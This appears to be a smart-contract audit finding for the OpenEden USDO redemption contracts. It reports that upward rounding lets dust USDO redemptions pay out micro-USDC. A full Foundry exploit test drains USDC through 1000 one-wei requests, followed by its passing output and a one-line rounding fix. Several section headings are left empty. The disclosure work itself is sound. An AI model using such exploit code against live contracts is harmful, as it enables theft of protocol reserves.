https://github.com/OpenEdenHQ/openeden.usdoexpress.audit/tree/f3f31d2ac15e3253cba342229f9d05495f95d6fd
The conversion from 18-decimal USDO to lower-decimal underlying assets (6-decimal USDC) uses upward rounding during scale-down. As a result any non-zero USDO amount smaller than the conversion factor is rounded up to the smallest underlying unit. For USDC (6 decimals), divisor = 10^(18 − 6) = 10^12. So any 0 < usdoAmount < 10^12 becomes 1 micro-USDC (1e-6 USDC) granting value for “dust” USDO amounts.
function convertToUnderlying(address asset, uint256 usdoAmount) external view returns (uint256 assetAmount) {
AssetConfig memory config = _assetConfigs[asset];
if (!config.isSupported) revert AssetRegistryAssetNotSupported(asset);
uint8 assetDecimals = IERC20Metadata(asset).decimals();
// Scale down from USDO decimals to asset decimals with proper rounding
uint256 divisor = 10 ** (_USDO_DECIMALS - assetDecimals);
uint256 amount = usdoAmount.mulDiv(1, divisor, MathUpgradeable.Rounding.Up); // rounds UP in user's favor
// If asset has price feed, convert from USD value
if (config.priceFeed != address(0)) {
(uint256 rate, uint8 feedDecimals) = _getFreshPrice(config.priceFeed);
assetAmount = amount.mulDiv(10 ** feedDecimals, rate);
} else {
assetAmount = amount;
}
}
Consumption in redemption path (file: contracts/extensions/USDOExpressV2.sol)
// inside processRedemptionQueue(...)
uint256 usdcAmt = convertToUnderlying(_usdc, usdoAmt);
uint256 feeInUsdc = txsFee(usdcAmt, TxType.REDEEM);
uint256 usdcToUser = usdcAmt - feeInUsdc;
_distributeUsdc(receiver, usdcToUser, feeInUsdc);
Why it’s exploitable
Proof-of-Concept (PoC)
Key PoC snippet (file: test/RoundingExploit.t.sol)
uint256 requests = 1000; // 1000 requests of 1 wei each
for (uint256 i = 0; i < requests; i++) {
express.redeemRequest(attacker, 1); // burn 1 wei USDO per request
}
// Operator processes queue
express.processRedemptionQueue(0);
// Each 1 wei USDO converts to ceil(1 / 1e12) = 1 micro USDC due to rounding up
uint256 expectedPayoutMicros = requests; // 1e-6 USDC each
assertEq(attackerUsdcAfter - attackerUsdcBefore, expectedPayoutMicros);
assertEq(expressUsdcBefore - expressUsdcAfter, expectedPayoutMicros);
Impact
Severity: Critical Impacted Assets: USDC reserves controlled by USDOExpressV2 redemption queue; USDO monetary integrity.
Poc File: test/RoundingExploit.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
import "../contracts/tokens/USDO.sol";
import "../contracts/extensions/USDOExpressV2.sol";
import "../contracts/extensions/AssetRegistry.sol";
import "../contracts/extensions/USDOMintRedeemLimiter.sol";
import "../contracts/interfaces/IAssetRegistry.sol";
import "../contracts/mock/MockCUSDO.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
contract MockERC20 is ERC20 {
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals_) ERC20(name, symbol) {
_decimals = decimals_;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract RoundingExploitTest is Test {
USDO public usdo;
USDOExpressV2 public express;
AssetRegistry public registry;
MockERC20 public usdc;
MockCUSDO public cusdo;
address public admin = address(this);
address public maintainer = address(this);
address public operator = address(this);
address public feeTo = address(0xFEE);
address public treasury = address(0xB0B);
address public attacker = address(0xBEEF);
function setUp() public {
// Deploy tokens
usdc = new MockERC20("USD Coin", "USDC", 6);
// Deploy USDO behind an ERC1967Proxy
USDO usdoImpl = new USDO();
address usdoProxy = address(new ERC1967Proxy(address(usdoImpl), abi.encodeWithSelector(USDO.initialize.selector, "USDO", "USDO", admin)));
usdo = USDO(usdoProxy);
// set a sufficiently large cap to allow minting in tests
usdo.updateTotalSupplyCap(type(uint256).max / 2);
// Deploy cUSDO mock (not used in this exploit path)
cusdo = new MockCUSDO(address(usdo));
// Deploy and initialize AssetRegistry behind a proxy
AssetRegistry regImpl = new AssetRegistry();
address regProxy = address(new ERC1967Proxy(address(regImpl), abi.encodeWithSelector(AssetRegistry.initialize.selector, admin)));
registry = AssetRegistry(regProxy);
// Support USDC with no price feed
IAssetRegistry.AssetConfig memory cfg;
cfg.asset = address(usdc);
cfg.isSupported = true;
cfg.priceFeed = address(0);
registry.setAssetConfig(cfg);
// Prepare limiter configuration
USDOMintRedeemLimiterCfg memory limiter;
limiter.totalSupplyCap = type(uint256).max / 2;
limiter.mintMinimum = 0; // not used in this test
limiter.mintLimit = type(uint256).max;
limiter.mintDuration = 1 days;
limiter.redeemMinimum = 1; // 1 wei USDO (critical for rounding exploit)
limiter.redeemLimit = type(uint256).max;
limiter.redeemDuration = 1 days;
limiter.firstDepositAmount = 0;
// Deploy and initialize USDOExpressV2 behind a proxy
USDOExpressV2 expressImpl = new USDOExpressV2();
address expressProxy = address(
new ERC1967Proxy(
address(expressImpl),
abi.encodeWithSelector(
USDOExpressV2.initialize.selector,
address(usdo),
address(cusdo),
address(usdc),
treasury,
feeTo,
maintainer,
operator,
admin,
address(registry),
limiter
)
)
);
express = USDOExpressV2(expressProxy);
// Grant Express BURNER role on USDO so it can burn during redemption
vm.startPrank(admin);
usdo.grantRole(usdo.BURNER_ROLE(), address(express));
// Also give admin power to mint some USDO to attacker for setup
usdo.grantRole(usdo.MINTER_ROLE(), admin);
vm.stopPrank();
// KYC: maintainer has WHITELIST_ROLE via initialize, so this will succeed
address[] memory batch = new address[](1);
batch[0] = attacker;
express.grantKycInBulk(batch); // grant for attacker
// Self KYC "to" must also be true (redeemRequest checks both from and to); same address is fine
// Fund Express with USDC liquidity so it can pay out
usdc.mint(address(express), 1_000_000e6);
// Mint a tiny amount of USDO to attacker
usdo.mint(attacker, 1000); // 1000 wei USDO
}
// Exploit: Rounding-up in AssetRegistry.convertToUnderlying lets attacker redeem dust USDO for full USDC micro-units
// Impact: Direct theft of USDC from the Express contract balance (drains liquidity), protocol insolvency risk
function test_RoundingUpRedemption_DrainsUSDC() public {
// Preconditions
assertEq(usdc.balanceOf(address(express)), 1_000_000e6, "Express USDC liquidity seeded");
// Attacker submits many small redemption requests of 1 wei USDO each
vm.startPrank(attacker);
// Approve KYC satisfied; burn happens inside redeemRequest
uint256 requests = 1000; // 1000 requests of 1 wei each
for (uint256 i = 0; i < requests; i++) {
express.redeemRequest(attacker, 1);
}
vm.stopPrank();
// Process entire queue as operator
uint256 attackerUsdcBefore = usdc.balanceOf(attacker);
uint256 expressUsdcBefore = usdc.balanceOf(address(express));
uint256 queueLen = express.getRedemptionQueueLength();
assertEq(queueLen, requests, "Queue length should match number of requests");
// Process all
express.processRedemptionQueue(0);
// Each 1 wei USDO converts to ceil(1 / 1e12) = 1 micro USDC due to rounding up in AssetRegistry
uint256 expectedPayoutMicros = requests; // 1e-6 USDC each
uint256 attackerUsdcAfter = usdc.balanceOf(attacker);
uint256 expressUsdcAfter = usdc.balanceOf(address(express));
assertEq(attackerUsdcAfter - attackerUsdcBefore, expectedPayoutMicros, "Attacker gains 1 micro USDC per request");
assertEq(expressUsdcBefore - expressUsdcAfter, expectedPayoutMicros, "Express loses corresponding USDC");
// Sanity: attacker burned negligible USDO (1000 wei) for 1000 micro USDC = 0.001 USDC windfall
// 0.001 USDC >> 1000 wei USDO economic value, demonstrating theft via rounding-up
}
}
Run the PoC test
forge test -vvv --match-test test_RoundingUpRedemption_DrainsUSDC
Output:
Ran 1 test for test/RoundingExploit.t.sol:RoundingExploitTest
[PASS] test_RoundingUpRedemption_DrainsUSDC() (gas: 124203451)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 104.60ms (98.65ms CPU time)
Ran 1 test suite in 177.36ms (104.60ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
What to observe
Step-by-step validation
uint256 amount = usdoAmount.mulDiv(1, divisor, MathUpgradeable.Rounding.Up);
uint256 usdcAmt = convertToUnderlying(_usdc, usdoAmt);
uint256 feeInUsdc = txsFee(usdcAmt, TxType.REDEEM);
uint256 usdcToUser = usdcAmt - feeInUsdc;
forge test -vvv --match-test test_RoundingUpRedemption_DrainsUSDC
Mandatory fix (code-level)
Patch (AssetRegistry.sol)
// Before (vulnerable)
uint256 amount = usdoAmount.mulDiv(1, divisor, MathUpgradeable.Rounding.Up);
// After (safe)
uint256 amount = usdoAmount.mulDiv(1, divisor, MathUpgradeable.Rounding.Down);
Defense-in-depth (configuration and logic)